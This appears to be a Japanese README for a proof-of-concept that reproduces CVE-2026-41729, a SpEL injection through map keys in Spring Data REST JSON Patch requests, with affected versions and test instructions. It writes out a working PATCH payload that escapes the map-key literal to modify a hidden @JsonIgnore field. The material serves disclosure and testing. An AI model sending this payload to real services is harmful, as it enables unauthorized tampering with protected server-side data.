
CVE-2026-41729 PoC
このリポジトリは、Spring公式セキュリティアドバイザリとして公開された
CVE-2026-41729の最小再現PoCです。
Spring Data REST SpEL Injection via Map Key in JSON PatchAV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:NSpring Data RESTがJSON Patchリクエスト
(Content-Type: application/json-patch+json)を処理する際に、map型プロパティの
mapキーパス断片をSpEL式に直接挿入する問題がありました。
公式アドバイザリによると、persistent entityがMap型属性を公開し、攻撃者が
該当itemリソースにPATCHリクエストを送信できる場合、map keyセグメントを操作して
意図されたmapインデクサーリテラルの外に脱出し、aggregate rootコンテキストでSpEL
サブ式を評価させることができます。readパッチパスとwriteパッチパスの両方が
影響を受けると公開されています。
このPoCは、そのうちwriteパッチパスを使用して、通常のREST表現では公開されない
@JsonIgnoreフィールドが、巧妙に細工されたJSON Patchパスによって変更されることを示しています。
公式アドバイザリの影響製品:
影響バージョン:
3.7.0 - 3.7.194.3.0 - 4.3.164.4.0 - 4.4.144.5.0 - 4.5.115.0.0 - 5.0.5修正バージョン:
3.7.204.3.174.4.154.5.12 または 4.5.11.15.0.6 または 5.0.5.1テストは実際のSpring Bootアプリケーションを起動し、Spring Data RESTリポジトリの
エンドポイントにHTTP PATCHリクエストを送信します。
ドメインオブジェクトは次の構造を持ちます。
people mapPerson内に存在するが、Jackson/Spring Data REST表現では隠されている
hiddenChildren map通常のRESTレスポンスでは、hiddenChildrenとその内部の値は見えません。
GET /wrappers/sample
隠されたプロパティを直接指定するJSON Patchは拒否されます。
PATCH /wrappers/sample
Content-Type: application/json-patch+json
[
{
"op": "replace",
"path": "/people/a/hiddenChildren/b/name",
"value": "after"
}
]
しかし、巧妙に細工されたmap keyを使用すると、Spring Data RESTのJSON Patchパス -> SpEL パス変換処理において、意図されたmap keyリテラルから逸脱して、隠されたプロパティパスに 到達することができます。
PATCH /wrappers/sample
Content-Type: application/json-patch+json
[
{
"op": "replace",
"path": "/people/a'].hiddenChildren['b/name",
"value": "after"
}
]
脆弱なバージョンでは、このリクエストが成功し、内部の値が次のように変わります。
before -> after
テストでは、mapにa'].hiddenChildren['bという実際のキーが作成されたのではなく、
式のブレイクアウトによって隠されたプロパティパスが変更されたことを確認します。
Windows:
.\mvnw.cmd test
macOS/Linux:
./mvnw test
脆弱バージョンでの期待される結果:
Tests run: 3, Failures: 0, Errors: 0, Skipped: 0
BUILD SUCCESS
テストの成功は「脆弱な動作が再現された」ことを意味します。つまり、脆弱な依存関係では、 巧妙に細工されたJSON Patchリクエストが成功し、隠された内部状態の変更が証明されます。
このリポジトリはSpring Boot 3.5.14のparentを使用し、その組み合わせで
spring-data-rest-webmvc 4.5.11が解決されます。これは公式アドバイザリの影響範囲である
4.5.0 - 4.5.11に含まれます。
Spring Data RESTエンドポイントにJSON Patchリクエストを送信できる攻撃者は、map keyを 操作してサーバー側で意図しないSpELパス評価を引き起こすことができます。その結果、 アプリケーションがREST表現で公開しないようにしていたオブジェクトグラフの内部値が 読み取られたり、変更されたりする可能性があります。
公式アドバイザリは、機密性と完全性への影響をHighと評価しました。
公式Springアドバイザリには次のように記載されています。